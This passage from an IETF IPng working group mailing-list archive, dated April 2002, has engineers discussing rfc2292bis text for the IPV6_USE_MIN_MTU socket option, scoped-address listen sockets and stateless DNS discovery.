for ; Wed, 10 Apr 2002 10:53:49 -0700 (PDT) Received: from roll.mentat.com (mentat.com [192.88.122.129]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA29787 for ; Wed, 10 Apr 2002 11:53:48 -0600 (MDT) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id KAA08414; Wed, 10 Apr 2002 10:52:46 -0700 (PDT) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id KAA05203; Wed, 10 Apr 2002 10:52:47 -0700 (PDT) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id KAA09635; Wed, 10 Apr 2002 10:55:44 -0700 (PDT) Date: Wed, 10 Apr 2002 10:55:44 -0700 (PDT) From: Tim Hartrick Message-Id: <200204101755.KAA09635@feller.mentat.com> To: eckert@cisco.com, jinmei@isl.rdc.toshiba.co.jp Subject: Re: rfc2292bis text proposal Cc: matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk All, > > Considering all of this above, I'd very much like to go with the > approach I proposed. I'll hear from others for while, but could you > agree with the decision if there is no other strong objection? > I agree with Jinmei on all counts. Tim Hartrick Mentat Inc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 11 06:16:31 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3BDGUIA015204; Thu, 11 Apr 2002 06:16:30 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3BDGUMQ015203; Thu, 11 Apr 2002 06:16:30 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3BDGNIA015188; Thu, 11 Apr 2002 06:16:23 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA21597; Thu, 11 Apr 2002 06:16:26 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA13116; Thu, 11 Apr 2002 07:16:25 -0600 (MDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3BDGEo63968; Thu, 11 Apr 2002 22:16:14 +0900 (JST) Date: Thu, 11 Apr 2002 22:16:14 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Buraga, Partha S" Cc: "'ipng@sunroof.eng.sun.com'" , "'ngtrans@sunroof.eng.sun.com'" Subject: Re: failure of source address In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 23 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Thu, 4 Apr 2002 23:13:48 -0800 , >>>>> "Buraga, Partha S" said: > In Multihoming scenario, Let us assume that, we selected a source IP > address, using IP_HDRINCLD option, for outgoing packet. > My doubts are, > 1) If selected address( NIC ) fails, Will the packet be delivered into > network ? > 2) What will be the source address of outgoing packet ? > 2) What is the path selected by Kernel to deliver the packet into network ? I believe those all depend on the implementation, so you should ask the developer of the system you're using. BTW: there is no IP_HDRINCLD (or something like that) in official API specs for IPv6. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 11 09:27:05 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3BGR5IA015861; Thu, 11 Apr 2002 09:27:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3BGR5W1015860; Thu, 11 Apr 2002 09:27:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3BGR1IA015853 for ; Thu, 11 Apr 2002 09:27:01 -0700 (PDT) Received: from lillen (d-mpk17-86-132.Eng.Sun.COM [129.146.86.132]) by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id g3BGQvx24979; Thu, 11 Apr 2002 18:26:57 +0200 (MEST) Date: Thu, 11 Apr 2002 18:26:32 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: rfc2292bis text proposal To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= Cc: Toerless Eckert , matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Is there a middle ground where the API can be made more clear than using "-1" without having to replace IPV6_USE_MIN_MTU? We already have IPV6_option and IPV6_MULTICAST_option in some cases. Thus would it make sense to 1) declare the IPV6_USE_MIN_MTU only applies to unicast. 2) define a new IPV6_MULTICAST_USE_MIN_MTU whose default would be "true". Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 11 19:09:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3C29xIA018931; Thu, 11 Apr 2002 19:09:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3C29wkQ018930; Thu, 11 Apr 2002 19:09:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3C29sIA018923 for ; Thu, 11 Apr 2002 19:09:54 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA20351 for ; Thu, 11 Apr 2002 19:09:57 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA09909 for ; Thu, 11 Apr 2002 19:09:56 -0700 (PDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3C29po67886; Fri, 12 Apr 2002 11:09:51 +0900 (JST) Date: Fri, 12 Apr 2002 11:09:50 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Margaret Wasserman Cc: ipng@sunroof.eng.sun.com Subject: Re: Forward Progress Reg: In-Reply-To: <4.2.2.20020408084300.00aa0a50@mail.windriver.com> References: <20020408093148.10473.qmail@web14809.mail.yahoo.com> <4.2.2.20020408084300.00aa0a50@mail.windriver.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 27 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 08 Apr 2002 08:51:41 -0500, >>>>> Margaret Wasserman said: > I don't know to what extent this optimization has been implemented in current > stacks -- Does anyone know if KAME implements this? Yes, we (KAME) implemented it in the TCP layer, though I don't know how much the code optimizes the situation. Also, our implementation only works when the TCP peer is a neighbor, that is, it does not provide the reachability confirmation about the first hop router for an off-link peer. > I also don't know what API support, if any, is provided to allow UDP applications > to provide this type of advice to IP. Anyone? Some older versions of rfc2292bis (the advanced API) spec had a socket option (mainly) for UDP sockets to tell the kernel the reachability of a neighbor, and we implemented the socket option in KAME 2 years ago. However, during the working group last call for the draft we decided to remove the option from the spec, since we've never found examples *in the real world* where the option is really useful - in fact, there has been no application that uses the socket option for 2 years. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 12 04:48:08 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CBm8IA019889; Fri, 12 Apr 2002 04:48:08 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3CBm8th019888; Fri, 12 Apr 2002 04:48:08 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CBm4IA019881 for ; Fri, 12 Apr 2002 04:48:04 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA21480 for ; Fri, 12 Apr 2002 04:48:07 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA22819; Fri, 12 Apr 2002 05:48:06 -0600 (MDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3CBm2o73165; Fri, 12 Apr 2002 20:48:03 +0900 (JST) Date: Fri, 12 Apr 2002 20:48:00 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 76 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Thu, 11 Apr 2002 18:26:32 +0200 (CEST), >>>>> Erik Nordmark said: > Is there a middle ground where the API can be made more clear > than using "-1" without having to replace IPV6_USE_MIN_MTU? > We already have IPV6_option and IPV6_MULTICAST_option in some cases. > Thus would it make sense to > 1) declare the IPV6_USE_MIN_MTU only applies to unicast. > 2) define a new IPV6_MULTICAST_USE_MIN_MTU whose default would be "true". This is essentially the same idea of the original proposal...the problem of this approach is that programmers would wonder "why does IPV6_USE_MIN_MTU not contain "UNICAST" but the use of it is limited to unicast?". I don't think this makes the API "more clear". Either way we'll need to describe the background and its limitation clearly, and if so, I'd prefer to keep the number of options. Actually I can make a compromise with either approach *if we can make a quick consensus*. To make the approach I proposed clearer, I've attached concrete text for the revised version of IPV6_USE_MIN_MTU according to my proposal. If we can live with this (though you may prefer the other one), please let us go. Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp === 11.1. Sending with the Minimum MTU Unicast applications should usually let the kernel to perform path MTU discovery, as long as the kernel support it, and should not care about the path MTU. Some applications, however, might not want to incur the overhead of path MTU discovery, especially if the applications only send a single datagram to a destination. A potential example is a DNS server. Also, path MTU discovery for multicast has severe scalability limitations and should thus be avoided. This specification defines a mechanism to avoid path MTU discovery by sending at the minimum IPv6 MTU [RFC-2460]. If the packet is larger than the minimum MTU and this feature has been enabled the IP layer will fragment to the minimum MTU. To control the policy about path MTU discovery, applications can use the IPV6_USE_MIN_MTU socket option. As described above, the default policy should depend on whether the destination is unicast or multicast. For unicast destinations path MTU discovery should be performed by default. For multicast destinations path MTU discovery should be disabled by default. This option thus takes the following three types of integer arguments, x == -1: use kernel default. That is, perform path MTU discovery for unicast, and disable it for multicast. x == 0: always perform path MTU discovery. x >= 1: always disable path MTU discovery and send packets at the minimum MTU. (values less than -1 are invalid.) For example, if a unicast application intentionally wants to disable path MTU discovery, it will add the following lines: int on = 1; setsockopt(fd, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &on, sizeof(on)); This option can also be sent as ancillary data. In the cmsghdr structure containing this ancillary data, the cmsg_level member will be IPPROTO_IPV6, the cmsg_type member will be IPV6_USE_MIN_MTU, and the first byte of cmsg_data[] will be the first byte of the integer. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 12 05:06:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CC6nIA019951; Fri, 12 Apr 2002 05:06:49 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3CC6nds019950; Fri, 12 Apr 2002 05:06:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CC6iIA019943 for ; Fri, 12 Apr 2002 05:06:44 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA20802 for ; Fri, 12 Apr 2002 05:06:48 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA29803 for ; Fri, 12 Apr 2002 06:06:47 -0600 (MDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3CC6Mo73324; Fri, 12 Apr 2002 21:06:22 +0900 (JST) Date: Fri, 12 Apr 2002 21:06:20 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 17 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 12 Apr 2002 20:48:00 +0900, >>>>> JINMEI Tatuya said: > Actually I can make a compromise with either approach *if we can make > a quick consensus*. To make the approach I proposed clearer, I've > attached concrete text for the revised version of IPV6_USE_MIN_MTU > according to my proposal. If we can live with this (though you may > prefer the other one), please let us go. I forgot to mention this: some parts of the text was derived from the original proposal from Toerless. Thanks! JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 12 07:08:33 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CE8XIA020219; Fri, 12 Apr 2002 07:08:33 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3CE8WVq020218; Fri, 12 Apr 2002 07:08:32 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CE8SIA020211 for ; Fri, 12 Apr 2002 07:08:28 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA11364 for ; Fri, 12 Apr 2002 07:08:30 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA17745 for ; Fri, 12 Apr 2002 08:08:29 -0600 (MDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3CE89o74708; Fri, 12 Apr 2002 23:08:09 +0900 (JST) Date: Fri, 12 Apr 2002 23:08:06 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Toerless Eckert Cc: Erik Nordmark , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: <20020412064954.O17663@cypher.cisco.com> References: <20020412064954.O17663@cypher.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 32 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 12 Apr 2002 06:49:54 -0700, >>>>> Toerless Eckert said: > My concern was to change the default. Your text below seem > to indicate this, so it would solve my concern. As far as your > text is concerned, I would love to see more explicitly the sentence > "the default setting of this option for a socket is -1". In addition, > i would strongly recommend to call this the "API default" instead of the > "kernel default", because "kernel default" sounds as if it is up to the > kernel to decide what the default is (i.e.: i am worried that some kernel > developer could think that he can decide what to do in the -1 case). But > that's probably just me being paranoid. Okay, I don't have any problem with using the term "API default." > Beside this, i would just argue that psychologically i'd love to see > the differentiation UNICAST/MULTICAST to show up in the API parameters > explicitly to help developes think about the difference, but that's just > cosmetic. I agree with you that just a _MULTICAST_ option like Eric sugested > is a bit confusing, but i have no strong opinions here. The real advantage > of NOT using IPV6_USE_MIN_MTU is to catch the hopefully small/non-existing > number of applications who already think that the value 0 to it is the > default and thus set it. Then you seem to agree with my proposal (thanks). What about you, Erik? If you're okay too, I'll soon update the draft according to the proposal. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 12 07:51:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CEpcIA020257; Fri, 12 Apr 2002 07:51:38 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3CEpbqu020256; Fri, 12 Apr 2002 07:51:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CEpYIA020249 for ; Fri, 12 Apr 2002 07:51:34 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA04830 for ; Fri, 12 Apr 2002 07:51:37 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA14681 for ; Fri, 12 Apr 2002 08:51:36 -0600 (MDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id RAA06578; Fri, 12 Apr 2002 17:51:29 +0300 Date: Fri, 12 Apr 2002 17:51:29 +0300 Message-Id: <200204121451.RAA06578@burp.tkv.asdf.org> From: Markku Savela To: ipng@sunroof.eng.sun.com Subject: Listen sockets and scoped addressing? Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'm trying to understand the effects of scoped addressing and have some difficulty of deciding how system should work on following situation: if it is possible to specify listening socket with ANY address, but somehow limited to specific scope (for example, site local scope with identifier = X) then the action is clear, if incoming packet has site local destination (of the host). The incoming destination scope must by X. However, I'm not quite sure how I should deal with other incoming destionations: link local or global scope packets. Should I a) match them with site scope listen, if the originating interface belongs to site scope = X? b) only accept strictly destination with site scope addresses, even if they enter system from interface that has site scope = X? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 12 09:46:50 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CGkoIA020623; Fri, 12 Apr 2002 09:46:50 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3CGkoIx020622; Fri, 12 Apr 2002 09:46:50 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CGkkIA020615 for ; Fri, 12 Apr 2002 09:46:46 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA00665 for ; Fri, 12 Apr 2002 09:46:50 -0700 (PDT) Received: from roll.mentat.com (mentat.com [192.88.122.129]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA10855 for ; Fri, 12 Apr 2002 10:46:49 -0600 (MDT) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id JAA17786; Fri, 12 Apr 2002 09:46:56 -0700 (PDT) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id JAA19918; Fri, 12 Apr 2002 09:46:56 -0700 (PDT) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id JAA10759; Fri, 12 Apr 2002 09:49:55 -0700 (PDT) Date: Fri, 12 Apr 2002 09:49:55 -0700 (PDT) From: Tim Hartrick Message-Id: <200204121649.JAA10759@feller.mentat.com> To: ipng@sunroof.eng.sun.com, msa@burp.tkv.asdf.org Subject: Re: Listen sockets and scoped addressing? X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From owner-ipng@sunroof.eng.sun.com Fri Apr 12 07:53:39 2002 > Received: from roll.mentat.com (roll [192.88.122.129]) > by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id HAA16591 > for ; Fri, 12 Apr 2002 07:53:39 -0700 (PDT) > Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) > by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id HAA17372 > for ; Fri, 12 Apr 2002 07:53:37 -0700 (PDT) > Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) > by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA14156; > Fri, 12 Apr 2002 08:52:23 -0600 (MDT) > Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88]) > by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA00073; Markku Savela, > > However, I'm not quite sure how I should deal with other > incoming destionations: link local or global scope packets. Should I > > a) match them with site scope listen, if the originating interface > belongs to site scope = X? > > b) only accept strictly destination with site scope addresses, even if > they enter system from interface that has site scope = X? > For what it is worth, we will be implementing b). Tim Hartrick Mentat Inc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 12 18:03:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3D13kIA022449; Fri, 12 Apr 2002 18:03:46 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3D13jeb022448; Fri, 12 Apr 2002 18:03:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.86.31] (may be forged)) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3D13gIA022441 for ; Fri, 12 Apr 2002 18:03:42 -0700 (PDT) Received: from localhost (vpn-129-150-4-55.EBay.Sun.COM [129.150.4.55]) by jurassic.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3D13i34472107; Fri, 12 Apr 2002 18:03:44 -0700 (PDT) Date: Fri, 12 Apr 2002 18:03:44 -0700 Subject: Re: Stateless DNS discovery draft Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v481) Cc: ipng@sunroof.eng.sun.com To: Ralph Droms From: Alain Durand In-Reply-To: <4.3.2.7.2.20020404104307.00b6fa30@funnel.cisco.com> Message-Id: <4D845C4C-4E7A-11D6-AA54-00039376A6AA@sun.com> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.481) Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thursday, April 4, 2002, at 07:45 AM, Ralph Droms wrote: > I think the third scenario is likely to be problematic. > > My understanding is that your third scenario would > require that the customers' networks all be part of > the same site as the ISP network - at least as far in > as a DNS server somewhere. I imagine some ISPs > might want to draw a site boundary somewhere > between the ISP edge and the CPE; either in the > CPE or in the ISP edge device or by declaring the > CPE-PE link to be not in either site... This is the very reason why I suggested to use a well-known global Ipv6 address instead of a site local one. This address would have to be taken out of a reserved prefix that will not/should not be announced in BGP peerings. But in such a scenario, if prefix delegation from PE to CPE is done using DHCPv6, it would make sense to piggyback the address of the DNS server in this dialog and the CPE could act itself as a lightweight DHCPv6 server and pass the information to any internal node requesting the DNSserver IP address using DHCPv6... So, the question to ask is: In such a 